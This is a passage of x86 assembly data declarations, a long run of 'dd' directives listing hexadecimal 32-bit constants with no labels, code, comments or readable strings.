0D01E18B3h, 53260C77h, 0E6D2E590h dd 34AA6B04h, 0AFE552A8h, 23197BB6h, 44B01E26h, 0F69205CFh dd 0E20EFADBh, 9E101065h, 0B1510BC6h, 44D70F43h, 0F6BEFC1Fh dd 7DA35F58h, 0B336D29Fh, 22CB4825h, 0F817226Ch, 5FCEE204h dd 0E6AB3D56h, 0D5E90B24h, 0F65B2263h, 0C15E816h, 0A8B08B0Fh dd 6576B828h, 46D4C105h, 0F58003E4h, 60957AA5h, 4314246Fh dd 56EA3A3Eh, 84A53B5Ch, 0DDEE71EDh, 0CCD301B6h, 0E125A7A7h dd 0F7705E0Fh, 1C59957Bh, 759B2162h, 37815B20h, 0F1BD152Dh dd 7B6E2D29h, 0BE160E4Bh, 0EF5195FAh, 625CE6F4h, 9AF72731h dd 11E06800h, 0BE254887h, 0AC82A85Ah, 8619B5F6h, 4E8305D2h dd 665314CEh, 8107F0F7h, 0D445D6CBh, 862A89EBh, 140A17F8h dd 6AC9080Ch, 471D50CEh, 0F59F6409h, 55B1366Bh, 26E24122h dd 0D88DAFEAh, 931DA034h, 52CC0BFEh, 4A0F6CB2h, 859D21B6h dd 3A8206DFh, 9575CCC3h, 8C813D0h, 2F1A33EBh, 93BC5C19h dd 4DDD432Fh, 5880CD74h, 0E51076F5h, 0CA8900E2h, 27B92D59h dd 5760244h, 4E467A30h, 1FE572C3h, 99112807h, 93D86C8Ch dd 24BFECBFh, 10C4C501h, 0C3FE24AEh, 54FC5A3Dh, 0E380142Dh dd 0C03FB2B8h, 9D356A03h dd 0A8595511h, 504E45C3h, 0A8CF9D27h, 0B34828E5h, 56C50906h dd 74BC83E4h, 0A8A854C4h, 0A3DDD0C4h, 31FB0B6Fh, 0D29988B3h dd 65C12201h, 244D9F7h, 0E6CDD001h, 0CC68792Ch, 67BE7F10h dd 7AD9BCBAh, 0B246303Ch, 0FC5E82F5h, 2465764Ch, 11C2B58h dd 0C00EFD2h, 541D05E7h, 0F8F7EC3Fh, 80107204h, 0F42D7695h dd 27885549h, 9ACA2808h, 0E8C00CEBh, 0D606D004h, 0B7FCF675h dd 99DD6FE5h, 7E1FA26Eh, 5E0B8B4Dh, 416C8C9Ch, 49342E99h dd 8833E1BBh, 3DAACE74h, 0F62B57B1h, 936BF1DDh, 0C731B967h dd 0C36059CEh, 0BCAD4B7Dh, 84EBD478h, 73E89591h, 0BF5DD0C5h dd 10328179h, 25055CC0h, 4C499923h, 6B074145h, 414C718Bh dd 0E9550F16h, 10C1A48Bh, 912809A7h, 0A61B3926h, 0CFF12D4h dd 0C7898349h, 0C177CA97h, 17819DB9h, 5E3256CFh, 9A32704Ch dd 0D8B6A04h, 6595E4E9h, 859944BAh, 8FE017F6h, 64C65829h dd 0A08440Eh, 40B2E925h, 4572BFCFh, 0C3B70665h, 0E0065A22h dd 137AE228h, 4E262A49h, 448F52F1h, 28B2BADh, 3AA58C2Fh dd 0B2E5C010h, 2863BE3Eh, 2D4E972h, 4F93B9B3h, 7B614ED1h dd 0A018F4CFh, 0E5B3C2A6h, 4270912Eh, 485D001Eh, 706A2025h dd 832FE94Dh, 0A05FA12Ch, 0F03A6204h, 7712F2B9h, 6B0E30D4h dd 77312921h, 0C79A5CC3h, 0B03D30DFh, 6475960Fh, 7A31A1FDh dd 0E9132F8Fh, 0C60D9082h, 0A628D9C5h, 9A4AB52Dh, 5E29DBAh dd 0A5635EACh, 0AE5C5A84h, 6C11AD8Ah, 40BA0161h, 4246B976h dd 0D6EE2FF0h, 263DB88Dh, 5E92404Eh, 2E6961EFh, 80EE04E8h dd 2533C209h, 0B91CCF02h, 41AD163Ah, 0F26AE71Eh, 0EEC183E0h dd 0FC6FF103h, 510C2C42h, 15BD0EF1h, 0DEF9E816h, 0D0A1F292h dd 40AB9E2Eh, 47E2EDDFh, 0A2E9E009h, 0B398D545h, 0EE9FB822h dd 575A2EF2h, 35401630h, 3D2DEA85h, 0BEFF9DADh, 877395AAh dd 10E8C104h, 37A98C2h, 0C8B9E4B3h, 79453F25h, 8A44CD63h dd 90F00CE8h, 4E76B237h, 73F88A5Bh, 3950FD3Bh, 585A97E8h dd 0FBE99B60h, 0F29DC0D7h, 3ED63203h, 5A39A297h, 20DA641Dh dd 6817207Ah, 21E85063h, 8C8458B2h, 503DE081h, 0B809C49Fh dd 0E4D4308Ah, 0DDAAF76Bh, 742E942Dh, 80FB9616h, 8F3FBA98h dd 5201D01Fh, 0A5FF5E25h, 56AFFFEDh, 0F8CB7BA6h, 15FE525h dd 1B4468DBh, 904B376Bh, 5CD36DE9h, 0E113594Eh, 0E8C4645Eh dd 818279F0h, 0A47157CAh, 3D2CC260h, 0E94409C5h, 30F96199h dd 9AEF5112h, 2D533174h, 0F026C331h, 62729058h, 0B3E908D3h dd 0B84A56CBh, 0B807CE02h, 0B3697554h, 0E211AF0Bh, 0F996F7CAh dd 0D2A3FCBFh, 6DD591A9h, 0CAE98BADh, 0A9E9A0DDh, 136127Eh dd 6803558h, 30897AEBh, 202FE9B3h, 25CA9433h, 307F5FFDh dd 0EFD8E9C9h, 0B6C320A7h, 74F43204h, 0A805807h, 130328D2h dd 1E7C178h, 477DEFD7h, 0DB3030F2h, 5C4E3A92h, 3D54FE8Bh dd 0D0BC4A1Fh, 0A27384D5h, 2D421548h, 0A5E5F11Ch, 484033D5h dd 0E44A7B43h, 71EEEDA5h, 0BF0A8095h, 4C331BF2h, 17353E0Bh dd 1688CA85h, 4AAAA368h, 979C0760h, 0EBF46481h, 5BB9BB0h dd 7C4B078Fh, 0E61E90D1h, 1F469F0h, 98E9DF0Ch, 5A665332h dd 2075317Fh, 8104140Bh, 0F9AA05B4h, 0E449F5EBh, 5F25E154h dd 0E7BC612Ah, 0C001029Bh, 82DC8E74h, 0A5065340h, 0E5BC4A2Ch dd 37AFCA39h, 8F09A2C8h, 0E2BE63F1h, 786268DDh, 5A4E9E95h dd 522A056Ch, 162D2868h, 655018B7h, 1E301218h, 0B4A6AA5Fh dd 24B3A92Ah, 88A85429h, 5037ABF9h, 52CEFEABh, 0A3AEDBD7h dd 0A04C92CCh, 0C25C88CBh, 0DB5027ECh, 0E95D6C3Eh, 7443412Ah dd 0F068D6A2h, 0DE98DAF6h, 3A3941h, 0F9E58132h, 127E4720h dd 7EC3C02Fh, 2EC7515Ch, 0C5806324h, 4FFE2672h, 0E27E8770h dd 3057DFF6h, 9DBF2E43h, 0F25B06D6h, 2562742Bh, 31B60257h dd 7992A36Bh, 0A5251802h, 145B1503h, 2E235F34h, 1D3CA4FBh dd 310ED19Ch, 25F74FFEh, 51E23456h, 29074B48h, 0E5614621h dd 0F591A4B0h, 0C8430403h, 0E9EA0102h, 1B81125Eh, 1D086EF6h dd 528D7B75h, 6C9EA46Eh, 40BADC4Bh, 64215E5Ch, 0CA05810Dh dd 76457419h, 56468C01h, 0B320410Fh, 0CDB881CBh, 0BA69D462h dd 0BF3F0EF0h, 90469863h, 0B75E5A5Eh, 18D0A1E0h, 0DBE697h dd 50657AC0h, 13940D58h, 0E9335F09h, 0BEB220A1h, 1FA03873h dd 3AF2316Ch, 5B5F0CFh, 3F744597h, 7EE164A7h, 0D36C205Dh dd 0B28C475Bh, 85033D61h, 25B6C137h, 68E6904Bh, 0EC970671h dd 0B914FEA1h, 889A2439h, 0BB00BFB0h, 3C502331h, 598AF64Bh dd 0BC4BADEBh, 61BCE4D0h, 0CEA34DCBh, 0CA93D131h, 0C6F3BFA5h dd 1654DC4Ah, 239558E5h, 0D7F76448h, 624C184Bh, 47FF5Eh dd 0C7A58B2Ch, 0AC30ACF5h, 51A8082Bh, 0D167838Bh, 3DB0823Fh dd 8C421D11h, 60DD8929h, 9A9EB483h, 9D611EC4h, 0C02357C3h dd 596904C4h, 0CC68662Ch, 0F32C118Bh, 845ACFCh, 3C2875FBh dd 4492E071h, 0D395C178h, 0BF551234h, 0C869FE9Eh, 75A0CBFFh dd 5BA69842h, 778B175Dh, 8B9D20Bh, 0B07D985Fh, 4A42F66Eh dd 0B9C89D11h, 954520AAh, 72B8BBEBh, 77954F9Fh, 0BA80BC12h dd 3D425D63h, 932DE916h, 0F47834h, 81FD40FFh, 7714EE38h dd 0A6FD215Bh, 0A83E0841h, 5EF0A034h, 7C952F68h, 0B640D55Ah dd 0BB530052h, 4D5E71EAh, 0B209EB81h, 418EF5Fh, 0BF00A061h dd 674B591Ch, 0C55A6EF4h, 361E7F4Eh, 53B2D3F8h, 0D11191DDh dd 3A63B9FBh, 16594BAFh, 88BAAD96h, 91679D56h, 6490C6DBh dd 7DF72625h, 94932FDEh, 0E9D89DD4h, 961353D5h, 2E64C95Bh dd 68F041FCh, 0F19513B0h, 0E9456CDCh, 51007A4Bh, 0AC2F88BAh dd 784A4C33h, 436BDE05h, 2C6BB2Ch, 0A340E7C3h, 4E46A04h dd 5BD80911h, 3B1DFA55h, 19364F0Fh, 0E80485A6h, 0EFD10B9Fh dd 0E49E8752h, 95AFE144h, 0FBA084BCh, 0BDEA6640h, 0D273FE2Ah dd 0AB870B12h, 0F53100A2h, 9F21CED7h, 0E3B50ADAh, 0EC285A51h dd 8DBEB5D1h, 0AE7E8044h, 687C9E71h, 8BE8B58Ch, 0AC0C867h dd 193A0DBDh, 0B5BE9856h, 0EF0FAF70h, 2B114CE1h, 0A7F904CBh dd 13F4E3EAh, 5E208699h, 5A067A66h, 2B10FF18h, 261C6008h dd 0C0302157h, 596C0F0Ch, 1F26684Ch, 0D5CBBA15h, 0BA3EB52Ch dd 4ED50232h, 0EC6DECAh, 0F1166369h, 0F55F4055h, 0A93023D1h dd 18940C2Ch, 0E1385A11h, 4B024BE1h, 0E9509C30h, 0F9644B97h dd 0D2EC4C0h, 6A6C3406h, 5A203590h, 9CBA07A0h, 0CE5EE271h dd 89EBA077h, 0EED10980h, 75D89AABh, 8D5616BEh, 84C5FC7Fh dd 0E8176D5Fh, 0C5E1124Eh, 8C6F1DFBh, 0A40621C1h, 0CA4A30F0h dd 7429590h, 80154F1Eh, 62B951D3h, 4FDE5F00h, 35C98141h dd 10040B79h, 40A124E9h, 36FA315Bh, 0E9B64045h, 0C5C7371h dd 7D2476E5h, 688060E1h, 52551D99h, 0FC4BD5Bh, 4CE38102h dd 0FF219F7Bh, 6358ED20h, 311997C5h, 6CA65BDDh, 80516600h dd 15CFDB8h, 27AD871h, 0FEDD1A86h, 3FD08C3h, 0D430B628h dd 0C6E95202h, 0F99C4857h, 0BED0C15Fh, 0D868B030h, 4228D9E1h dd 284AC866h, 0AF12C7B6h, 9E0AA8C1h, 0EEE8FA17h, 9F61BF5Bh dd 4E351A19h, 0CAF2013Eh, 713F7D5Dh, 0ECC83A90h, 6F6A0077h dd 26E70506h, 2D0421D2h, 434D47BBh, 0D0A187FFh, 85DB2E84h dd 28E68690h, 0CA4CC727h, 0D7080994h, 4E5F594Ch, 0C2550FC2h dd 25437C66h, 46A157Fh, 0D0B9CBE9h, 5C76C57Eh, 0D64AD89Dh dd 5096AD0Eh, 24D6D0CCh dd 141655BDh, 0C6A9EC98h, 278963F7h, 0B075B667h, 288B86Bh dd 6860C63Ah, 0A17E7714h, 7B1BA462h, 4674ADE1h, 0DA0C4028h dd 0FA3B0729h, 0B8467917h, 0D316228Bh, 96522725h, 60B4B022h dd 0F7EED7ACh, 7F4F915Fh, 9C02DAE1h, 2FFAC168h, 0B44A8334h dd 42F21C32h, 2951365Eh, 0C57241FFh, 1A9BDA40h, 0D67E48DFh dd 0F94E2138h, 0F2F496EFh, 0EA5F5BF8h, 8C60002Dh, 0D28A8663h dd 832AD154h, 0EF875D1Eh, 20CDE3C9h, 0CC54E6E8h, 3BE39C45h dd 7101F684h, 2601C22Ch, 1426995Dh, 18E2F01h, 9242E8C1h dd 5B8DA4E7h, 0D29F7BF2h, 0B765C554h, 8E0C1260h, 6850CCBBh dd 0C92D0E2Dh, 316FBECBh, 4658A9Eh, 1B099201h, 809F1A64h dd 0AC568E05h, 67A3AE12h, 38DD7C4h, 95306855h, 0FE51948Ch dd 0A7094EE8h, 6807616Eh, 7C787BD3h, 915AE3CBh, 0C926FB77h dd 0E7829D8Ch, 8140CA13h, 0FE4225ECh, 0E2F4A7CEh, 48806A85h dd 9A1635E9h, 54C0B70Bh, 359ADD51h, 0E481584Ah, 833D2F4h dd 6FDC5927h, 4E68CDC0h, 0FC350106h, 893BC56Bh, 73C22BC2h dd 6A5860FBh, 20C59E01h, 9271BF08h, 0F9FD4364h, 6ED8DC1Bh dd 0D5051D2h, 7AD8DCBFh, 389D16DFh, 79CC4DDAh, 83139C72h dd 0BC2DF0C3h, 3750FADDh, 0EDB35008h, 1B646913h, 626D8A02h dd 3C42C19Bh, 0C05EC06Ch, 6563F976h, 7EC72A4Ch, 0E759C160h dd 178A5A89h, 0A9D7F77Ah, 0B8305ABh, 0E8BF951h, 25FF224h dd 0CA87394Ch, 7AAA7A75h, 0F88E5AEAh, 5AD70BB3h, 1F7D057h dd 6EFA44C5h, 44DC65E9h, 0FBD4FB66h, 0E0B43EFCh, 0AE9D3833h dd 3DF9D6D3h, 6AE05A38h, 39984291h, 7E09F2B1h, 0C0098F08h dd 8B09C0E5h, 0B4E92F0Eh, 0FD48C972h, 0B5DD100Ch, 31FF4238h dd 210EC99Dh, 0D3F378D8h, 0B6A60621h, 0BF4A7F23h, 62C3768Ch dd 0F7881CDAh, 0E1D248DDh, 0E85A4E58h, 0BE5384EBh, 813925AAh dd 7D79E47Ah, 39200F1Bh, 0C831EB58h, 9CFEE9FCh, 601E9C15h dd 87679CF4h, 0A267800Ah, 484A6B83h, 3512E110h, 2466FED4h dd 28FE5A9Ah, 2BFFC947h, 84FD3654h, 3138FD3h, 146CC1A4h dd 0CE8B0AD2h, 4346905Fh, 24D18196h, 0E6171C39h, 14EEAC2Eh dd 4239C5B6h, 219D2AEh, 8683D522h, 22FA0F6h, 50E2E953h dd 7F2D0512h, 0FA4CEB38h, 0B3270E05h, 9859C305h, 43C9348h dd 0E9173768h, 11DD8131h, 0D5E6257Bh, 0C524B60h, 0A8CC5582h dd 0CB15730Bh, 67750602h, 6BD877EFh, 2DF0F08h, 0F9DEE631h dd 0A9C889ABh, 6020D3DAh, 0EFC10FC3h, 0A7FF4F08h, 145D538Bh dd 3E18B593h, 122C6852h, 50670F1Ah, 0B44ED290h, 0F8584E65h dd 0EE0D0086h, 252A8876h, 0E067C99h, 158E3569h, 0C3894E42h dd 0E943C451h, 29832F7Ah, 0E00F09FAh, 2A779D60h, 820CACBh dd 4F81CC1h, 93427873h, 385DFCDBh, 2322EC2Dh, 6801EBE2h dd 0F33831BEh, 7F1289D2h, 0E9B02DE2h, 0EA064CCh, 0B5253C31h dd 0BDE44427h, 4290A0D2h, 2BCBE37Eh, 424BD6F2h, 25DE5AD0h dd 77852h, 1BF065D9h, 589EBDB9h, 8DC02C50h, 5F6F6904h dd 5984D101h, 215A0804h, 43C0E4C4h, 0E3F7FC7Ch, 82CB8360h dd 134A0F40h, 8178D007h, 0B30197F5h, 0B578D11Fh, 0A8DD8D05h dd 1EE2AE57h, 3805BFD7h, 0AF01FB01h, 771D4A2Dh, 0AD695721h dd 0A83F7585h, 23F4C9D2h, 0A8305925h, 0B74C6768h, 3420D74Ch dd 20D29FD8h, 43565E00h, 52B26851h, 0E935098Bh, 2BE69BB5h dd 8D5FEB80h, 0AC887B9Fh, 9A3500F4h, 0EB89F227h, 9B561EBDh dd 2E28957h, 5400A266h, 816DCB5Ch, 304ADBF1h, 8A0C0FECh dd 2EEDEB67h, 0E478FA41h, 8B2FFEF2h, 4B6605BFh, 0D0805096h dd 50BB17F4h, 129FFC75h, 0A14A2662h, 4BE97C67h, 0FBD0A8E8h dd 982E351Eh, 20171802h, 29306873h, 4E211CD1h, 159CA09Bh dd 60E99792h, 0C81D6FC0h, 8003E701h, 0D6EDA1CFh, 665CD980h dd 0B70FC331h, 69BBC04Eh, 0BA2C3AB6h, 0AC2340ADh, 14C761EDh dd 959512C4h, 30F0AE7Ah, 9E821EF3h, 7B626F64h, 0B5E50D5h dd 7A066F8Fh, 0C5C7C3E3h, 650C256Ch, 8B48F821h, 0D7A4ABFBh dd 0F19F1DC4h, 891962E5h, 3083BD00h, 4D411487h, 7F3B9645h dd 0C2332014h, 99139404h, 0EAD3C80Fh, 451D8802h, 61D501A5h dd 27DB32Fh, 0E0792D05h, 0B51BC270h, 0F10F5AF2h, 6512044Ah dd 0F4EA907Fh, 18138FC0h, 0D0015659h, 6D24AC7h, 40D5F03Eh dd 0C07A3941h, 0C830583Fh, 3E76DCA1h, 41EC728Ch, 15AC6F86h dd 1B1245Bh, 0F6D6B7C0h, 0E7A93ED7h, 42BF5700h, 0B8012A04h dd 594E0901h, 5FF83141h, 59E99E30h, 0B45EE8A3h, 40279763h dd 2A3F7829h, 5BAB7703h, 1EB0F35Ch, 53421D54h, 6152585Bh dd 0F2D0D008h, 6B63981Ah, 12DE0DCCh, 4FD42D00h, 600170A5h dd 7E2090D0h, 3FB01677h, 590BB809h, 508D845Ah, 69B04F1Eh dd 40484E82h, 7B8EFFC1h, 257B37E7h, 0A6986F93h, 8082978Eh dd 25E6CE90h, 0C77C4CF6h, 39376F3Dh, 0E061979Ah, 0F389982Fh dd 0DF0DFAC9h, 3FEAD839h, 74D6DF58h, 25E9264Eh, 229C1A4Dh dd 5CFA50F7h, 805B24F6h, 4385B986h, 21647504h, 0D0BF59CFh dd 0DF6FA10h, 0E9A8845Fh, 832FF5Bh, 0B5F8F071h, 40BFC5F8h dd 77B10532h, 1321310h, 7F3589C6h, 1C28D721h, 92B079h dd 0E147C8D4h, 69984D13h, 1EB83D05h, 0CFE29ECh, 0C2DBDAA3h dd 0A736D81Ch, 0EAEA018Dh, 0AEA0806h, 4414539Ch, 0FB3B0F99h dd 1729C705h, 0DEDEB2E0h, 0DC4ABED0h, 0FB975D6Eh, 2DEC919h dd 53F8B460h, 0C1D8C4B3h, 806DA893h, 1F48C708h, 5429255Fh dd 8286E45Dh, 40D0560Ch, 1E02685Bh, 0F2019B95h, 0E16F755h dd 86321597h, 16B93BE9h, 0FD835D3Bh, 944A417Ah, 9FFE2C84h dd 5F94FC8h, 62D1AA92h, 50259AE9h, 0BF86D8D4h, 0BA87DAF9h dd 0E00B6D72h, 0FE5441E3h, 0C5524F22h, 0DDDCC06Eh, 0F04E2A4Bh dd 548753ABh, 376F6D3h, 5166AEF7h, 0CF82FAB1h, 4000ED3h dd 52F82831h, 803900B2h, 0E2C03EC2h, 0EA1ED006h, 0F285DAF6h dd 0B2BF2891h, 0D88E1877h, 1637CBF3h, 0FA034E50h, 2EB6044h dd 212672C1h, 0A771E1C1h, 303EF52Eh, 129FB6BFh, 0CAD46004h dd 11A261Fh, 5672126Ch, 73BBADD3h, 3AE20662h, 0EBABA02Eh dd 0B84247Bh, 52D3016Ch, 13708584h, 22832A05h, 0FFB669AEh dd 39A1BDE5h, 0ECE18B31h, 0B57CD0F6h, 821FD02Fh, 560B5B01h dd 0D86E2D5Eh, 0B9CD25FBh, 0F25CE7DFh, 187F0745h, 0F7DBE3F4h dd 0E73ECA71h, 2DAE9295h, 0BAA26FE7h, 11703360h, 582876E0h dd 0E919062Dh, 0C2375D98h, 14B23978h, 2F9D730Bh, 806FA8DEh dd 1A8869F3h, 7A7438E9h, 0B266EC5Bh, 58E94815h, 565724FDh dd 43E038F2h, 3374DDC5h, 28EF344Bh, 54F2E44h, 68E006A8h dd 0D7182087h, 7D885A6Fh, 90281EDFh, 0F4DA7BE9h, 0C841CC3Dh dd 3EA42280h, 585E7ACDh, 0FAC9E8B5h, 0FF0282BDh, 0D359D0FDh dd 0AAE343h, 6D0AC617h, 0F7094962h, 976B88B8h, 514C561Ah dd 632032DDh, 7CF34AECh, 2DC80228h, 48DB7F08h, 575DFF52h dd 6FB8022Eh, 0D57B2C30h, 73BFC703h, 32FE114Ch, 0A9BE244Eh dd 6A907532h, 0D76510E9h, 0FDECFD8Bh, 5BE4B95Bh, 0C90F58A0h dd 0A7515EABh, 61DB6841h, 888EB36Ah, 1FCF0EC5h, 0F3CEFF17h dd 0B8849F13h, 45EC4FD8h, 6AE1F6E1h, 0E05035B8h, 0C65DC997h dd 0C023325Fh, 83A8A509h, 7061C0B5h, 387C5031h, 3A9D84E6h dd 3006070h, 0DC00D44h, 0D4FD01h, 93D4E908h, 0C0EF96D7h dd 59D10539h, 0BC02993Ch dd 818E5E8h, 313F7580h, 0C457B81Bh, 54380ECh, 8B127668h dd 27C8AAEh, 0AE0955C5h, 0EAD8EB4Bh, 0CEF22080h, 6E609226h dd 4D50280Ch, 10DD950Ch, 4A06E99Ah, 5070732Dh, 571AD28Fh dd 0CB18C577h, 0ADE69055h, 0F5A29DC7h, 80694FE7h, 5E5CF601h dd 5F997489h, 0B4B2B598h, 4B6E68FEh, 0A082CB2Dh, 52BBE55h dd 4665144Fh, 6848D083h, 6A161903h, 0A0BF4E30h, 2E32603Ah dd 0F25362BFh, 0BBAB2723h, 8C4D38F2h, 11AC4BB6h, 0F82AD15Eh dd 422B8E6h, 0A5368E8h, 48C45EE8h, 78B791D8h, 21011583h dd 1ECF1127h, 0BF9BF6F0h, 0E35AB014h, 0C5ABD0C5h, 938FFBC0h dd 29B6E918h, 511883BDh, 7220432Ch, 299A2F1Bh, 33D7B64Ah dd 0BDFC0BA2h, 0D382984Ch, 18FF9B6Dh, 95A27B54h, 0FC029C55h dd 29D32C0Ah, 0E9080566h, 8240D47Dh, 0E1D569E8h, 7ADBD0B9h dd 61EB0C04h, 0C664DC20h, 48365BFh, 0EF7347DFh, 0DD0157C2h dd 0B8807A47h, 27676538h, 0E9C70A31h, 0CF157C54h, 0EFAB3A64h dd 5F89F4B4h, 0BCD5A0F8h, 84CF1D3Ah, 7B65E781h, 0F74FD081h dd 4747CBDh, 0D21ED7E6h, 0BBD8EB29h, 53E00CD1h, 0CEF46851h dd 8B6B5A4Ch, 122A2B4h, 5FABBAEFh, 0D7692059h, 270A896h dd 0E9700ABEh, 609D603Fh, 9835C305h, 9C2D293Ah, 5B93F776h dd 3FECDDFEh, 4A7ACFh, 52159696h, 204DE927h, 0FAA75FF7h dd 7821FE01h, 615A5851h, 0E9966F3Dh, 0C78794h, 47927479h dd 0ACEE4EB9h, 22EB2AE7h, 985C5661h, 92995427h, 6EE5A197h dd 0F41049E9h, 0CEFE5081h, 0B170912h, 0FE53E4B0h, 31554F24h dd 29665C6Dh, 303D00D8h, 0F58131D6h, 10DCC39h, 0F126683Ah dd 0FF73F517h, 0EEC8106Bh, 0D4EF2638h, 795F09A3h, 0A15C145Dh dd 5008AF2h, 44654D62h, 0C7C0F862h, 5C8709BDh, 0B507B57Ah dd 604C3C7Ch, 6E3401F3h, 51F075Ch, 159943B6h, 0E34BE0BBh dd 3B17C80Bh, 90E85F14h, 0FF2E43D6h, 21107FCFh, 96755D2Dh dd 9E55959Eh, 607390C2h, 74C5D750h, 1C51AD5Bh, 0ACA86F97h dd 707BE104h, 8E041A1Dh, 158628F5h, 0A74C242Dh, 0BA524860h dd 6A004008h, 0A3EA8143h, 0B72EA831h, 0F909AE7Ah, 7CAF7Fh dd 7230C840h, 95F1B033h, 8C5EE989h, 95BD5850h, 61132E73h dd 582012A0h, 2C79B4C6h, 89497877h, 3EF93D4Fh, 0D134D97h dd 0D3F7ED46h, 2763E076h, 7574E2Eh, 2C18BDF8h, 59A8292h dd 43C10E0Ah, 0EAB87BB7h, 13BF97F0h, 7002655Bh, 576E7E68h dd 0C0334DB0h, 0F602E80Ch, 2F2C04D8h, 0C0FE5351h, 2EDBF914h dd 0B740BCDEh, 0CB1D8073h, 8504890Ch, 40BBB84Eh, 8207489Ah dd 0D0092BEBh, 0A90540E0h, 9728FA33h, 9C3C6F5Eh, 83523958h dd 0CB01A244h, 406D4588h, 0B2585202h, 5B881582h, 49ED8F92h dd 5FAFC222h, 42080EFBh, 28422780h, 4DD25C55h, 595783Fh dd 2EDB1A42h, 3A523905h, 29075FEh, 8E4DCA62h, 983D3474h dd 0D32E6B1Fh, 8280822Eh, 73827A0Dh, 0B45B96F6h, 0EB058CA2h dd 1FFE33E8h, 75CDD0E8h, 397FF32Ch, 23360ACBh, 46BD5F93h dd 2DBEA9E5h, 859B65CDh, 56ED37E9h, 0B992FB2Dh, 3B9E7D02h dd 89A6DD95h, 682D97A8h, 0C2067EB1h, 5607A26Eh, 4BBAA663h dd 4DD7B90Ch, 0C722C443h, 0BBB1660Ah, 5B3357BBh, 0E1CF310h dd 0E513E95Fh, 0E2E72BA8h, 51DFBC09h, 0EA10CE4h, 810F4D20h dd 6A5F86E5h, 0B07C50Ch, 9597615h, 1D1B8426h, 7467A691h dd 4AE75F48h, 80BBF3B3h, 30F0C180h, 794CBFC8h, 4A7DB348h dd 800727E8h, 67E941CBh, 0ECD70940h, 4EA4F84Ah, 890FB86Ah dd 0DC7C004Ah, 0BF2CEF4Bh, 59024950h, 0B9E90212h, 55677551h dd 0E9C32182h, 0F5AD4A0Eh, 0AAAEE3C0h, 0FEB023BFh, 591A2CB4h dd 37BA036Ah, 50EF02BBh, 5EA14BE5h, 2C3E5894h, 0F76B1F73h dd 3198AA6Eh, 0D5924725h, 1BFCA32Bh, 5F387107h, 25E7DE99h dd 1D733A5h, 6FFCEB59h, 59C06F19h, 75524202h, 5A312830h dd 4D5D0911h, 0E20D39DBh, 0A30805FAh, 0C7977EBCh, 54A227DFh dd 6801829Bh, 6866036Eh, 8E557405h, 0EC44BF06h, 48815058h dd 0EA04CC38h, 6DDEAF1h, 9CC44028h, 7BA68A2Fh, 0E88152Fh dd 0FACA8984h, 8149430h, 0AF3E8CD3h, 0ED6DC0D8h, 490C9942h dd 0DFC25056h, 30D9FFCBh, 666CC38Bh, 94AC2034h, 0C82A6590h dd 0F0F8E790h, 8041B94Bh, 28C767C4h, 108806Eh, 0AA105E8h dd 2692485Dh, 5B0702B7h, 29B7451h, 1931906h, 0D0A1707Fh dd 0EB5E0A06h, 80AA6957h, 2B531D7Eh, 0CCE8A75Ah, 4AA5A9CBh dd 58CB625Ch, 6842D656h, 0D0517DEAh, 0E7A95627h, 0B767B4E9h dd 70257B7Fh, 171771CAh, 7B91FE88h, 31814B45h, 0E612CEF5h dd 9BE76021h, 1CD18B12h, 0CD76A4BBh, 0D4197C16h, 0C95FB3A8h dd 0E8E6F8DFh, 0EEA7112h, 0A04FC0E8h, 9C254789h, 0A007F0Ch dd 66191AB9h, 0F1043E7Eh, 64F26F58h, 4BFDC380h, 0E9231794h dd 0BE66854Ch, 44B50737h, 0EF4C70A8h, 5F28FA4Fh, 0E1FF59E9h dd 0B6716F4Ch, 0D481FC7h, 3018306Fh, 0EC398006h, 6BC4868Dh dd 0EB10CC28h, 0E800B907h, 0F2E995B5h, 0C4AC4BCEh, 0E39A1579h dd 0F4D5AF4Ah, 2F02B5FAh, 0FB96A7E9h, 7F1603DEh, 0B7F7F576h dd 3837624Ch, 0D4501163h, 0CA647A82h, 80055FA1h, 5BCEA017h dd 0F63A05BAh, 4BF83CD7h, 0B00586A2h, 82E0D0D3h, 0BA45B568h dd 0F82FD628h, 4874A091h, 1625B96Eh, 120D322Dh, 1E412C3h dd 5019BF47h, 0F3C47049h, 0E233750Fh, 0DBE967h, 556DFD2Dh dd 501CC158h, 2E620BE0h, 0FF898B82h, 44F23538h, 284E2D18h dd 2F4C0D8Ah, 89547294h, 5A2808A0h, 569E815Dh, 616442A7h dd 0B86BBF29h, 578D47Eh, 5C4E2BECh, 13DC94BBh, 2220EE08h dd 9F696368h, 0E03851CCh, 3BED5BAEh, 93B3E9A0h, 0DCD3B8A9h dd 99B7D813h, 7F38C53Fh, 262618B6h, 0ED28EC63h, 86335903h dd 41F5012Bh, 0E23A081Ch, 16E15FE4h, 6868B47Eh, 187C4A2Fh dd 9F145B81h, 54755218h, 0F425A128h, 5B8FF72Dh, 0D0181283h dd 0B9C3C265h, 89265CB0h, 0F7010DD7h, 516E132Fh, 3262A16Fh dd 6850817Dh, 0CC2F6757h, 1F2F5473h, 23DD0C4h, 0B1D6BA6h dd 5D5406E9h, 7996D52Fh, 0C75BA890h, 0F7EA9DC5h, 54E49A80h dd 17F058A3h, 0FD33612Dh, 0C044C13h, 724F45EEh, 183F2580h dd 550B03BCh, 0EB4463BDh, 35EDA800h, 9991CD2h, 0B5E917EAh dd 1028F9C3h, 68093DBBh, 30551F6Ch, 88A0BA51h, 130BD2C5h dd 745E20F1h, 0AE766B56h, 41DB1F02h, 5DD36829h, 0C22BBC01h dd 0B10076C9h, 0B5CC20BAh, 8062A714h, 4AD4E90Ch, 0ED6075CAh dd 722C3382h, 5C00DC6Eh, 296A23DEh, 2B09CD8h, 0E4F59F9h dd 22ADD440h, 70630627h, 0F681035Fh, 4F753C2Dh, 87DF94B7h dd 0C80530EBh, 95B8A426h, 7AC93825h, 51357D9Dh, 0D6E8A163h dd 46091C19h, 0B076649h, 6A4837F1h, 7C975BDEh, 0AFDD7B34h dd 0B902B4CBh, 6FAD12D5h, 689A2C40h, 0C0EEC30h, 0F6668495h dd 59583451h, 0DBB98158h, 2B48214h, 0D561FC1Eh, 8806AD8h dd 9E5BBBE9h, 6668FB20h, 49CFBC17h, 5D16467Dh, 0B211925Ch dd 74EF2F32h, 0B659939Fh, 5907345Fh, 322A01FEh, 7A143415h dd 0A85618E0h, 252858F6h, 1880F20h, 0B6DC2D07h, 339EA58h dd 0E9364409h, 0BE853082h, 624D10CEh, 26B3CF2Ah, 10D6D931h dd 5EFE5FFBh, 0ED9F8BE0h, 68163469h, 5F795023h, 64D6D20Eh dd 3A317601h, 282F9F05h, 7A4B5C6Eh, 0E513C0B3h, 177BF36Dh dd 58C95160h, 828B6C48h dd 8EA9A460h, 